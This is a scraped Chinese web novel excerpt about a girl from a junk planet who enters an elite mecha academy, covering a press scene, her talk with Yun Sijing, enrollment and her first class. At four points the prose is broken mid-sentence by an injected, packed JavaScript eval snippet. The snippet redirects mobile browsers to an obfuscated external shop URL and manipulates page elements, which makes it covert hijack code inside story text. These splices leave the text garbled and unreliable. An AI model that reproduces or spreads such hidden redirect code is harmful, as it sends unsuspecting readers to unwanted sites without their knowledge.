她的简历被翻了个遍，最有疑点的是那句“与星兽战斗并取得胜利”，没写任何细节，一句话把这最大成就一带而过。与星兽战斗何其困难，就连龙羿的高年级学生都要结队出行，她这种写法很难让人不怀疑，是不是当时沾了巡逻队的光？ ——也就是说，她是不是在联邦军里有认识的人？ 一考场家族显贵的学生没人追究，垃圾星杀出的黑马倒是让人忍不住怀疑，仿佛这样，自己的碌碌无为就能显得理所当然。 士阳几乎能立刻想象出那些难听的话，鸣星却好像没想太多，只是当做一个普通问题，回答道：“是有这种可能性——” “如果能这样做的话，我肯定会给观音装上整整一千只手，我自己负责一百只，再找九个和我一样水平的人就好了。” “至于我的看法……”鸣星笑了笑，“我欣赏想象力丰富的人，那位专家，我欣赏你！” 被鸣星教了想象法的士阳，知道她现在这话可能有一半是真心的，但正常人听了，都会觉得她是在冷嘲热讽，讽刺那位专家真会瞎想。 从记者们兴奋的表情就知道，鸣星这句回应很够劲！很能继续挑起争议，火上浇油，让质疑她的人更加恼怒，让舆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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影刀不再多言，朝墨镜男比了个清场的手势。他们训练有素地围成线，迅速而不失礼节地分隔开人群，清出一条离开的路。 有个记者不满地喊：“只是你不想接受采访，鸣星又没说不想！” 影刀转过身，盯着鸣星，说道：“你还有什么要对他们说的，现在说。” 鸣星看得出来，他有话和她说。 “我想说的……”鸣星想了想，朝退后中的媒体们挥了挥手，大声道：“如果有谁对佛，或者任何古地球的神话感兴趣的，联系我！” 看起来很多人关心这场比赛，肯定能找到与她有相同爱好的人。 鸣星笑容明亮地转向影刀，却见他按了按额角，眼中有几分无语。 “证明！现场证明！” 人群外圈，最早喊话的路人竟猛地掷来一个空饮料罐，弧线刷地破开空气，直冲鸣星面门而来！ 惊呼声中，她背包里唰地探出一只手臂，柔润的五指像活藤一般缠住罐身，手臂随着冲击的方向划了半个圈。 力气全部卸下，罐子被轻托在掌心，悠悠旋转。 鸣星在死寂的人群中看了一圈，笑道：“就这样，证明完毕，谢谢捧场！” 12. 云斯京 影刀带路，穿过一条偏僻的检修通道，两人跟在身后。 鸣星早把观音手收了回去，铁罐捏在手里，有一搭没一搭地抛着玩，一路上除了铁罐撞击声外，唯有沉默。 她见拐角处有几袋垃圾，随手一抛，罐子歪歪扭扭地朝着路边落去。 影刀仿佛背后张眼了似的，忽然抬手，只听啪的一声轻响，罐子被他稳稳抓在手里。 他脚步没停，甚至没回过头，精准地丢进垃圾桶里，说道：“垃圾桶在那边。” 鸣星吐了下舌头，没说话。 影刀掀开一大串紫藤，从一扇隐蔽的门钻进去，前面是条几乎没人的小路。 “直走，咖啡厅右拐就到悬浮车站。这条路可以避开媒体和人群。” “你对这里很熟悉嘛，居然知道这种路。”鸣星左右张望着：“你经常来这边玩吗？” 影刀轻哼一声，不置可否。 鸣星又问：“刚才那群戴墨镜的人是谁？” “我的保镖。” 鸣星兴奋起来，“哇，有很多人要暗杀你？” “……”影刀又摆出了那种无语的表情：“只是预见到了刚才那种情况。” 他的目光总是不经意地瞥过鸣星的背包和手臂，看来对和观音打了平手一事十分在意。 鸣星：“所以，你找我要说什么？想聊聊观音吗。” 既然提到了这个话题，影刀也没兜圈子，直白地问：“我想知道你怎么做到同时操作那么多手。” “靠想象。”鸣星秒答，“想象我就是观音。” 想象。这个词在他们对战时已经出现过一次了，在鸣星闭上眼睛的那个时候。 影刀轻皱起眉，“我是认真问你。” “我也是认真回答的啊。非标准人形的机甲那么难操作，不靠想象力要怎么开，难道靠一点点练吗？虽然不是不行，但效率也太低了。” 见影刀沉默，鸣星疑惑道：“你也是吧，不然你要怎么立刻适应新的关节形态？” 影刀盯着她，一言不发，气氛逐渐压抑。鸣星有些不安，放轻了声音，说道：“难道你不是吗？” 她说这话时小心翼翼的，好像害怕刺伤他的自尊心一般。 影刀身子轻轻一颤，立刻回答：“对，我也是。” 鸣星感觉到他身上隐隐的对抗，放松了姿态，掌心朝他抬了抬：“你的影刀真的很帅，只要加上头顶的攻击手段，一定会成为一个好刺客。” “还行，这只是……” “课程作业，我知道，你已经说过一次了。” “嗯。” “我投降是因为我不想毁掉观音更多的手了，不是故意气你。” 影刀眼睑抽搐了下，忽地露出一个微笑，眼睛都微微弯起来：“是我打慢了，没配合上你的投降。” “是吗？”鸣星笑了笑：“我看我们配合得挺好。” “……下次会更好，不过离赢我还差了点。”影刀的目光落在她的背包上，“观音可以成为战斗型机甲，只要你使用好材料和更多作战设备。我这次找你是想告诉你进入银龙班的办法，现在就可以准备——” “我并不准备去龙羿。” “……”影刀指着鸣星，转头问士阳，“她这句话也是在想象吗？” “我是认真的。”鸣星说道：“我来新纪元星的主要目的是参加飞板比赛，不过正好有考试资格，就顺便来看看机甲，看看黑蔷薇。” “不想去的理由？” “我爸妈不希望我去军校。” “……你这么大了还要听父母的？”影刀难以置信，“你没有自己的想法吗。” “有啊，我自己的想法也是不想去。”鸣星理所当然地说，“因为课程太无聊。” “龙羿会因材施教，实践课也多，还有星球探索的项目。” 鸣星眼前一亮，“会去其他星球玩吗？” “嗯。低危星球实地勘察，记录生态，采集样本，做图鉴收集任务。” 鸣星只搜到了比较久远的那版课表，没想到现在星球探索这种听着就有趣的课，一时也动摇了。 “那基础理论课都翘掉可以吗？” “不可以。” “不翘掉，就只是挂科可以吗？” “……当然也不可以。” 鸣星皱起眉，面带忧虑，“可我是真的听不下那种课，我之前每次都会睡着……” “那是因为你的老师水平太差。如果我来讲，你一定不会睡着。” “你会讲的像小说一样有趣吗？” “我会在你睡着时向你衣领里塞冰块。” 鸣星：“……”我替全星系的学生祈祷，拜托你不要从事教育行业。 龙羿一上就是四年，而且后半辈子多半都要做机甲战斗相关的工作了，和她做着玩的爱好者心态完全不符。 她不想上战场。 影刀见她冥思苦想，忽然问：“你想见黑蔷薇？” “你能联系上她？”鸣星惊讶道。 “你来龙羿，我可以帮你约她喝一次咖啡。” “你怎么认识的黑蔷薇？”鸣星激动得脸唰的一下红了起来，“不是说她神出鬼没的，除了上课时候都抓不到她人……” 黑蔷薇既是教授，也在联邦军担任重要职位，据说还在以匿名的秘密身份从事一些行动，每次上课时都是风风火火地踩点赶来，有时还带着一身伤，格外神秘。 影刀淡淡道：“我小时候，她教过我开机甲。” “……啊？”鸣星呆住了。 怪不得黑蔷薇特意挑出他表扬，还以为是影刀过于出彩入了她的眼，原来只是熟人捧场！说不定她专门夸的那两科都是她亲自教的，夸的不是影刀而是她自己。 这回鸣星没再犹豫，说道：“这样的话，我愿意去。” “我回去问下她的时间。二次考试后，你可以通过‘龙座挑战’进入银龙班。” “那是什么？” “挑战一位银龙班的学生，如果你赢了，你们的位置、资源全面互换。你要精挑细选，选出一个打不过你的人。” 鸣星眨眨眼，问道：“我可以选你吗？” 这句话跟在“选个打不过的人”后面属实有些挑衅了，不过影刀并未生气，反而轻笑了下：“试试看。” 鸣星只是随口一说，但鉴于影刀好心提醒，还是配合地摆出了思考的样子，“我之后想想。不过，你为什么关心我去不去银龙班？ 影刀沉默了一瞬，“联邦战队需要更多样的人才。古地球的科技已经过时，文化也被渐渐遗忘了。但看了你的观音，我想应该有很多值得挖掘的东西。” 鸣星十分疑惑，联邦战队和他有什么关系，他一个学生还担心起联邦的人才问题了。 “你到底，是谁啊？” 影刀微一仰头，神情间浮现出淡淡的骄傲：“你可以上网搜索我的名字，第一条链接里有我的介绍。” “哦，那你叫什么？” 影刀：“……” “你不说，我怎么知道你是谁，怎么搜索你的名字？” 影刀一向冷漠的脸上终于出现了一丝裂痕，他轻轻咬着牙，一字一顿地说道：“云、斯、京。” …… 回到简陋的胶囊旅馆，鸣星迫不及待地打开光脑，搜起了影刀机主的名字。 云斯京。 果然，第一条就是他的专属词条，详细地列了他的履历，最上方则是一个很长的前缀： 新纪元星青少年组战斗模拟联赛（星战杯）三年连冠、星球探索项目（星源计划）青少年组首席、战斗机甲体系总创始人云风清后代、仿生流流派创始人云尊之孙、四段构造级资格认证…… 这一看，鸣星也震惊了。 他祖上七辈是机甲体系的总创始人，创造了“银龙”的云风清；爷爷则是机甲仿生流派创始人，联邦军知名战神云尊。 这样的家庭背景，怪不得请得到黑蔷薇做家教。 学生们经过四年制的小学、初高中，20岁成年时上大学。云斯京在初三时跳了两级，现在18，比她还小两岁，可谓少年天才。 不过他的成就主要出现在初中时期，高中后他换了路线，就读科技名校，从此沉寂无名，更奇怪的是，最后他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497782|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又来了军校。 鸣星顺手点进他爷爷的词条里，忍不住感慨，好长好长的前缀啊！ 云尊，联邦第三舰队总司令，七星上将，战功显赫，人称“战神”，一把年纪还活跃在作战前线。他妻子丛素怀同样是个传奇，从基层小兵爬到第二舰队的副总司令的位置，年纪越大打得越猛，次子随了她姓。 相比之下，云斯京父亲的词条就很是简单了。 云路，云风清后代，云尊之子，云斯京之父。 连成为某人父亲这事都能拿出来标榜身份，混的如何可见一斑。 他与妻子莉愿都是联邦军的低职级文职，毫无成就，莉愿的家人却不是等闲之辈，全都出身科技名校，控股多家大型科技公司，是懂技术的商业大鳄。 两个权势家族，军事与商业强强联合，极其危险的联姻后，一对惊天动地的…… 废柴夫妻出现了！ 可以想见云斯京背负着怎样的压力和责任。 按照词条，他有一个中校亲哥，一个少校堂哥，还有个一届的堂妹，说不定也参加了这次考试，不过鸣星只记机甲名不记人名，一时半会想不起来哪个考生姓丛。 她正要搜索一下，就接到了妈妈启言的电话。 “妈妈，我通过……” “小星星！”启言义愤填膺地说道：“网上那些骂你的，妈妈全都给你骂回去了！就是人有点多，今晚我通宵帮你骂！” 鸣星微笑道：“别通宵，第二天工作会没精神的。” “不，我就算明天困到睡进垃圾堆里，现在也要为你的尊严战斗！” 启言身后，三架机器正在运转。他们家里有个小型垃圾处理厂，虽然叫厂，但其实在末星里比比皆是，只是搞几个处理机甲垃圾的仪器，进行机械垃圾的回收和再加工，干活的也就夫妻二人，有时候还要孩子打下手。 “有那么多人骂我吗，为什么？”鸣星疑惑道，“我不是表现的很好吗，采访的时候，说话也很客气呀。” 启言：“……” 启言是街区出了名的暴躁美人，美貌惊人，但性格像个炮仗，一点就炸，总被人说天真，但她觉得女儿更天真一万倍。她的傻女儿，怎么能在龙羿这种精英扎堆的地方生存，一定会被欺负的吧。 启言担忧地问：“星星，你要去龙羿吗？” “就两个月而已，还有二次考试，我肯定不会通过的。” “不可能！”启言斩钉截铁地说：“你这么优秀，一定会通过！” “……” 鸣星心道，她妈想太多了。 一考场考生的综合实力很强，她这次对战有运气成分，如果打上十次，肯定不会次次发挥得这么好。况且她爸妈都是无脑认可她，就算她这次考试表现很糟糕，启言也会这么说。 鸣星见启言担心得都快哭出来了，连忙安抚道：“我只是想体验一下，妈妈你放心，如果有不好的事，我立刻退学回来。” “好吧。前两个月需要多少学费？一会我叫你爸给你转过去，和生活费一块。” 机械运行的低鸣声中，鸣星看着启言眼角下淡淡的黑眼圈，笑了笑，说道：“我表现的好，前两个月的学费免掉啦。” 挂掉电话，她从床脚拿起忘川，仔细检查了遍。 它用了太久，引擎又被刀疤擦到了边，如今裂开一道小口子，延伸到板身材料上。引擎好修，但星兽角难找，如果补不上这个口子，忘川很可能会在飞行途中继续咧开，忽然坏掉。 她像对待一条生命一般，动作轻柔地拂开它表面的灰尘。 飞刃角逐的报名时间在两周后的周末，需要通过速度检测的初筛才能拿到报名卡。 她坐回桌前，开始搜索比赛的信息。按照往年数据来看，她用普通飞板也能通过初筛，但修忘川就只能慢慢找机会了…… 新闻软件忽然弹出一条消息，推动了今天考试的热议话题，标题轰动，还把她的照片拿出来当噱头。 跨考场的惊世对决！影刀vs观音，云少重出江湖，黑马疑似作弊？…… 鸣星眼睫都没动一下，食指随意一抬，划掉了消息。 13. 龙座挑战 入学手续办的很快，领身份卡、制服，录制曈纹密钥一气呵成。宿舍督导开车，带鸣星和士阳前往宿舍区。 这几天鸣星看了很多工作，但都因为她末星的出身和学生的身份拒绝了她。她攒的钱加上妈妈给的生活费，刚好够付前两个月的学费，要是再找不到零工，接下来两个月就只能吃土了。 身份卡是一张黑色特性小卡片，卡片背面绘着一对龙翼，正面写着几行字： 姓名：鸣星 所属班级：作战系群星6班 龙座排名：未解锁 可用积分：0 宿舍：作战系A区3层12号 车子穿过校园，鸣星脸贴车窗，看着外面掠过的宏伟建筑，阵阵惊叹。督导自豪地一路介绍，图书馆，教学楼，实验室…… 相比之下，宿舍楼朴素许多，只是三栋高矮不一的白色高楼，墙体隐约浮现出龙形的银色纹路。 “宿舍按排名分楼层。”督导看了看清单：“你们简历评价一般，住在低层，不过这只是暂时的，二次考试后，排名上去随时可以换。” 鸣星想起云斯京说的“龙座挑战”，这所学校果然比较强调等级制度。 “区别大吗？”士阳问。 “天壤之别。”督导笑道：“顶层那哪是宿舍，是小基地！一人独占一整层，开公司的都有。” 士阳轻叹一口气，说道：“不太喜欢这种规定，把人分成三六九等。” “但这就是动力啊。在龙羿，只要够强，你几乎能拿到任何资源，做任何事，毕竟，你们可是能够飞翔的龙啊。” 一个高年级的男生和她们一起上了电梯，见到她们刷了三层，轻嗤一声，刷了二十层。 见他打量自己，鸣星微笑问道：“学长，楼上风景怎么样？” “等你有资格上来再看吧。”对方语气冷淡。 电梯门开，督导带着两人走出，士阳脸色差了很多，不住地回头看，鸣星哈哈一笑，说道：“他现在这个态度，等以后我们在高层相遇了岂不是很尴尬。” 士阳不自禁脑补了那个场景，也轻笑起来。 三层的宿舍是35平的单间，简约干净，桌上还放了一瓶蓝色龙翼花。 鸣星心想，简直比她昨天住的胶囊旅馆好太多了！隔音好，还有送花这种人文关怀，她对龙羿好感度提升不少，看来之前错怪这所学校了。 士阳房间就在对门，鸣星跑过去，撑着阳台远眺，“你房间能看到银龙哎，我窗外都被树挡住了，只能看到学校南门。” “你可以多来我屋玩。”士阳倒是平静。她对住在鸣星对面很开心，但对这朴素的宿舍并不算满意。 三楼只能仰望银龙的爪子，顶层则可以俯瞰全貌。士阳暗暗下了决心，即便去不了银龙班，也要拼尽全力提升排名。 两人换好制服，刷了校内的免费飞板，向教学楼飞去。 教室门口，士阳小声嘀咕：“希望别是英弦啊。” “肯定是他。”鸣星淡定地说：“他不做我们导师，还怎么报复我们？” 士阳震惊道：“你……也知道他会报复啊！” 鸣星奇怪地看着她，“那不是很明显么，我又不傻。” ……那你还一直惹他！ 考试后士阳和鸣星加了联系方式，聊了好几个晚上。士阳以为自己已经很了解她了，没想到她还是这么捉摸不透。 教室是理论课用场，风格严肃，单人桌椅。她们到的有点晚，一进门，三十三个同学齐刷刷看来，从进门到落座，目光始终针扎一般刺在她们身上。 没有一张友善的脸。 士阳背后发凉，她有一种不好的预感：她和鸣星考场上表现异常，如果导师是英弦的话，她们恐怕要被孤立了。 五分钟后，铃声响起，导师准时走了进来。 他后背挺拔，步伐带风，如同正统帅着千军万马，站在讲台前时，目光如刀锋扫过全场，所有被他看到的人都觉得身上一阵寒意。 英弦。 在这小小的教室里，他恐怖的压迫感展露无疑。一个不容反抗的暴君、鄙视庸才的少将，却要领导一群他看不起的学生，他们未来的日子有多难过，可想而知。 士阳的衣襟被汗浸透，状态这么糟的不止她一个，前桌的男生也正微微发抖。 “我是你们的指挥官，英弦少将。接下来你们所有的课程和训练由我安排。” “我代表了群星6班的规矩，在这里，我是你们的上级，我的话就是铁律，你们需要称呼我‘长官’。我不关心你们的个性和过去，也不关心你们的喜好和理想。你们只需要服从命令，完成任务。明白了吗？” “明白了，长官！” 学生们大概是被吓住了，只有鸣星脆生生应道。一个同学转头看去，下一秒，一张硬纸片破空飞来，咔一声钉入他的椅背。 英弦收手撑在讲台上，身子前倾，全身散发着恐怖的威压：“没听到我说话吗？” “明白了，长官。”所有人齐声答道。 龙羿不是严格贯彻联邦军制度的军校，在龙羿里，他们不算真正意义上的士兵，更多还是学生身份。班级的指挥官既是上级也是导师，叫“老师”就足够了，不过英弦明显享受被称呼为长官的感觉，脸色比刚进门时好了一些。 “拿出你们的身份卡。”英弦说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497783|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“看第三行，龙座排名。” “这是你们在同年级的实力排名，标准测试后将会解锁，它决定了你们在学校里可使用的一切资源。不同排名每天得到的积分不同，前五名，一千积分，后五名，十积分。积分能兑换高级设备、材料的优先使用权，以及优质项目的参与资格。” “总之，积分越高，能获得的好资源就越多。” “在龙羿，所有需要钱买的东西都可以用积分换取。这是龙羿的绝对公平，即使你家境贫穷，只要实力足够，一样可以在这里过得很好。” 鸣星心里高兴，这样就算没钱，也不愁吃喝了。 “除了每日固定发放外，还可以做任务获得积分。我话说在前面，勤奋的人不会缺积分。如果我让你预约训练场，你告诉我没积分，”英弦凶巴巴地说道：“那就等着被我罚到长记性。” “排名动态变化，龙羿的综合ai会实时评估你在校的一切成果，比如训练成绩提升时，排名也会上升。另外，你最好确保你的实力配得上排名。二次考核后，任何人都可以向更高排名发起挑战，被挑战人无权拒绝。你们应该都听说过，龙羿有名的制度——” “龙座挑战。” 这就是云斯京说的进入银龙班的方法。鸣星没想到的是，这种挑战居然可以在任意学生之间发起。 “发起人失败，需要支付一笔积分作为挑战费。发起人胜利，则和输家对换排名，所有积分、资源、权限也都一并对换，甚至包括银龙班的位置。” 说到这，英弦冷笑了一下，“只要你打败了强者，他本来享受的一切资源，都归你。” 教室里响起一阵压抑的吸气声。 所有学生都感受到了这个制度本身带来的，危机感。 不仅要努力学习训练，获得更多积分，还要小心被低排名的人挑战，一旦失败，之前赚到的积分就全都拱手送人了。 鸣星这下知道为什么龙羿在网上风评不好了。这种环境下，一天没有进步就是落于人后，压力无时不刻不存在着——他们不知道谁会在什么时候向他们发起挑战，每一周都可能是期末周。 她本来都要因为宿舍里那朵龙翼花爱上这里了，现在听了龙座挑战的规则，又想走了。 “最后一件事，作为团体，你们必须有集体意识。接下来你们自由组队，一队五人，明早由队长汇报给我。之后我会以队的形式评估你们。” 英弦重重敲了敲讲台：“记住，好好挑选你的队友。一人犯错，全队受罚。 “半小时后龙蛋集合，进行决定排名的标准测试。”他环视鸦雀无声的教室，一字一顿，“我讲话完毕，现在，全体解散！” 14. 银龙班 英弦走远后，全班人都松了口气，压抑的氛围一扫而空，大家开始交谈，结伴。 “听说前几天西区管道被震动波震裂了，来了好几个修理工。” “好像是打架？刀都插管子里了。” “据说是涡流的人。他们这届报飞刃的阵容很豪华，有个会开飞行机的也会参加……” 他们聊得起劲，却没人和士阳与鸣星说话，只是偶尔警惕又好奇地看看她们，生怕沾上关系似的，士阳也知道原因，她们都是得罪了英弦的人。 鸣星从说话那几人身边走过，脚步都没停一下，轻快地和士阳聊天：“小队需要五个人，我们还要找三个。” “嗯……是的，但我们找谁呢？” 士阳开始胃疼了，开学第一天就这么不顺利，接下来的四年可怎么过啊？反正现在不管问谁，都一定会被拒绝…… 鸣星随手点了点士阳前桌男生的肩膀，“同学，你要加入我们吗？” 那同学只把头转过来一点点，脸都没露出来，低声说：“嗯。” 士阳：“……” 这就找到一个队友了？ 是她想的太多了吗。 “剩下的队友一会再找，我们先去龙蛋看看吧。”鸣星拉着士阳站起来，又对男生说：“一起去啊。” 那男生驼背缩肩，浑身散发着别找我说话的气息，所以刚才也没人搭话。他身材清瘦，藏蓝色妹妹头的刘海遮住眼睛，还戴一副粗框厚眼镜，几乎看不清脸，只是露出的尖下巴和薄嘴唇还挺秀气。 他始终沉默着，似乎在等她们自觉离开，过了好一会，见她们还在这里，才微微点头。 士阳胃更疼了。 她们能找到的队友估计都是这种别人不想要的神人。 三人并排走在路上，只不过是并了两排，鸣星和士阳一块，男生像是和她们不认识一样，一直保持在几步距离外跟在后面。 士阳对于这种阵型十分别扭，鸣星倒是自然地接受了，就这么背对着跟他聊天：“我叫鸣星，她叫士阳，你叫什么？” “……海微遥。”男生轻轻地说。 鸣星二人不约而同地转过身去，眼神飘到他手上，而他也飞快地把双手背到了身后。 即使如此，她们还是看清了。 他有六根手指。 前几天聊天时，两人一边讨论一考场的机甲一边搜索，大部分都能搜到介绍或者报道。六指石人的资料很少，只有一个讨论贴，但是她们记得六指姓海。 那个贴主称自己是六指石人的高中同学，说律尔看人很准，六指真的有六根手指，下面回复基本都是律尔的粉丝，于是后面的话题就变成了花样夸律。 但这事对海微遥来说绝对是心理阴影。 鸣星率先转回了头，假装什么都没发生过，指了指前面的教学楼：“地图写着这个是银龙班上课的楼，大门没关哎，我们进去看看，说不定能碰到黑蔷薇呢。” 对于这种被抓到就会被围观的行为，海微遥浑身写着抗拒。 他习惯沉默消极应对，但此刻还是竭尽全力地出言拒绝了，说话时连手都在抖：“……不了吧。” “那你在门外等我们一下，我们就看看，很快回来。”鸣星跟他挥挥手，“一定要等我们哦！” 士阳被鸣星拉着往里走，一边回头看了眼，只见海微遥整个人缩着，浑身上下写满了两个字，痛苦。 对于一个社恐来说，在一条有很多人经过的道路上等人，实在是一道酷刑。但是他拒绝的前摇太长，还没蓄完力，鸣星都跑没影了。 真惨啊。士阳没什么同情心地想，这么逆来顺受的，感觉会很听话。 银龙班就一个班，指挥官是黑蔷薇，不过她比较忙，简单说个开场就走了，具体介绍交给了律尔。 律尔喜欢说废话，还喜欢高强度互动。提到龙座排名，不直接讲清楚是什么，非要先问一圈，有没有人知道这是什么呀？来这位同学你说一下，来那位同学你讲一下！ 英弦都下课半天了，他还在里面滔滔不绝地瞎扯。 鸣星二人潜入走廊时，听到他正在聊龙羿校规的不合理之处，以及教大家如何钻规则空子。 士阳：“……”要是黑蔷薇知道他这么讲课，应该会把他干掉吧。 鸣星则认真倾听，把他讲的宵禁后偷偷出校的要领牢记于心。 第一步，不能刷卡走电梯走大门，会留下记录，要么走楼梯再翻窗，要么想办法从墙外溜下来，这一步的要点是小心别摔死，毕竟银龙班的学生都在高层。 鸣星暗中握拳，很好，她在三楼，很方便！ 第二步，从南门附近那堵矮点的墙翻出去，被保安抓住就开始卖惨求饶，说自己是出去打工赚学费的。 还是很好，她确实要打工赚学费，完全可以本色出演！ “我要说的都差不多了，你们去龙蛋做标准测试，一个小时后那批的。”律尔没正形地靠在讲台上，指指点点地说：“对了，大家做完别急着散，都看看彼此的龙座排名，如果有谁超出15名，一定要狠狠嘲笑他啊！” 士阳：“……”无力吐槽。 却见鸣星一脸的向往，小声道：“他们班级氛围真好啊。” 士阳：“……”好在哪？ 律尔讲正事慢慢悠悠，撤的倒是快，也没和大家说解散，讲完那句话，几步就冲到了门口，咔哒一声推开门。 “呦。”他撑着门框，低头看着蹲在墙角的鸣星，微笑道：“观音，来玩的吗。” 看来她们进入走廊时，律尔就发现她们了。 “来听律老师讲课。”鸣星认真回答：“我学到了有用的知识！” “哦？是什么？” “如何在宵禁后出校。” 律尔：“……可别往外说啊！黑蔷薇知道了会杀了我的。” 他转过头，又和士阳打招呼：“你也来啦，狙击手。” “……老师好。”士阳头皮发麻，她不得不承认，海微遥拒绝进来的决定实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497784|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太正确了。 银龙班的学生们陆续出门，全都以一种奇异的目光看过来。不知是不是律尔把气氛搞得很轻松的缘故，他们看着没有考试时那么有架子，眼神也相对友善。 一个浑身肌肉的高壮男生问：“是那个观音吗？” 他身旁面无表情的瘦高女生说道：“是的，和云斯京对决的那个。” “哇，观音你好，我叫顾纳。”男生握住鸣星的手，笑声爽朗低沉：“看到你把小京打得满地找牙，我立刻成了你的粉丝！” 顾纳身高快有两米，肩膀宽阔，站在那就像座山，脸如雕塑般深邃英俊，眉压着眼，棕色的蜷曲长发落到肩头。他不笑时一定十分可怕，但偏偏一直笑得热情洋溢，睫毛纤长，眼睛弯弯。 他笑呵呵地与士阳也握了手，“大名鼎鼎的狙击手！你绝对是龙羿历史上第一人了，我们全班都讨论你呢，你以后一定可以做一个冷酷杀手。” “哈哈……谢谢……” 士阳快要力竭了，她要为自己对海微遥毫无同情的心态进行忏悔。 瘦高女生淡淡地看了眼士阳，对顾纳说道：“温酷。” ……是想说士阳没那么冷酷吗？ 她莫名其妙地说了这么个词，没人能接她的梗，就只有顾纳捧场地大笑。 鸣星看向女生，随即一愣。她五官浓艳，皮肤冷白，金色直发披到腰间，眼瞳明明是热烈的红色，看着却十分冷淡，好似铺着一层朦朦的雾，整个人像是朵落了雪的玫瑰。 鸣星和士阳聊天时查到了，一考场里确实有云斯京同年出生的堂妹，丛晏。 只是没想到她称呼自己哥哥时叫全名，口吻也生疏的好像只是同学。 “……鸣星。” 云斯京也走了出来，他站到丛晏身边时，一眼就看得出来两人是兄妹，甚至那种面无表情的神态都一模一样。 不过他们并没说话，丛晏目光游离，似乎看着顾纳，又似乎在放空，云斯京的目光则紧紧跟随在鸣星身上，一刻都没有离开过。 云斯京问道：“你们什么时候做标准测试？” 鸣星：“二十分钟后。” 银龙班的学生开始的时候，正好能看到她的结果。 云斯京不经意地眯了眯眼睛：“你觉得自己会排多少？” 鸣星认真地思考了一下，一本正经地回答：“保守估计倒数十名。你呢？” 作为一个F级考生，说出这话很客观了，但作为和一考场学生打了平手的F级考生，听着就像扮猪吃老虎一样。 云斯京似乎对这种故意装弱的行为有些鄙夷，眼神冷了几分，不客气地说：“我么，保守估计，前三吧。” 鸣星踮起脚尖，向他们教室里看了一眼。 里面还有七八个人在闲聊，其中一个粉发高马尾的女生敏锐地感觉到了门口的注视，与她对视，然后嗤笑一声。 鸣星回过头来，对云斯京笑着说：“那我猜你是第四名。” 云斯京微微挑了下眉。 15. 段位测试 “还有人等我们呢，我先走了。”鸣星跟他们挥了挥手，“一会龙蛋见。” 往外走时，士阳好奇地问：“你为什么猜他是第四名？” “我瞎说的。” “告诉我真相吧！” “真的是随口说的，我只是故意和他抬杠而已。” “……那你往里看干什么？” “做戏做全套，搞他心态。” 士阳奇怪道：“你这么看不惯他吗？” “是啊，他居然小时候就有黑蔷薇亲自指导！”鸣星不满地说：“早知道他们是熟人客套，我就不和他对决了。” 没想到她对黑蔷薇夸奖影刀这事这么耿耿于怀。 士阳笑了笑：“当时我太紧张了，没顾得上看影刀的简历。其实云家和这些教授们关系近，大家都知道的，我要是注意到了还会跟你说说。” 不过她庆幸自己没注意到。不然鸣星拒绝和影刀对决，可能也就来不了龙羿了。 她们走出楼时，海微遥已经和门口的柱子融为一体。 他紧紧贴着那黑色柱子，人也缩在阴影里，士阳走过去时甚至没注意到他，还是鸣星说了句“你在玩捉迷藏吗”，她才看到那地方还有个人。 之后海微遥仍然是一言不发地跟在她们后面，就这样以怪异的阵型走到了龙蛋门口。 五个标准机摆在场子中间，群星6班的学生已经开始沉默地排队，英弦站在旁边，见他们三个踩点赶到，横了鸣星一眼。 “上五个。” 他一挥手，前五名学生紧张地小跑上去，动作利落地钻进机甲。 “按照屏幕要求操作，测试开始。” 标准测试，就是用一系列标准操作，事无巨细地查且只查机师控制机甲的能力，好像一个全面的基础体检，查不出人有没有杂技天赋，但能查出来他有没有三高。 他们做完测试，身份卡上立刻出现了动态变化的龙座排名。群星几个班是随机分配，学年现在210人，六班的学生从20名到200名全都有。 ai会自动把前15名预留给银龙班，第20名基本就是群星班的佼佼者了。 “最后五个。” 鸣星、士阳、海微遥和一男一女坐了上去。 这是材料极佳的高等标准人形机甲“铁人”，也是很多好学校首选的训练机型，绝大部分学生对这一款都非常熟悉，操作它有种回家了一样的亲切感。 鸣星也了解过铁人，但毕竟没有实操过，上去之后摸索了一番，好半天才翻出了接线的位置，而这时其他四人早都准备完毕。 英弦表情极不耐烦，隔着视窗瞪鸣星，手则不经意地从口袋里摸出那具头发机甲带，无意识地在掌心反复缠绕。 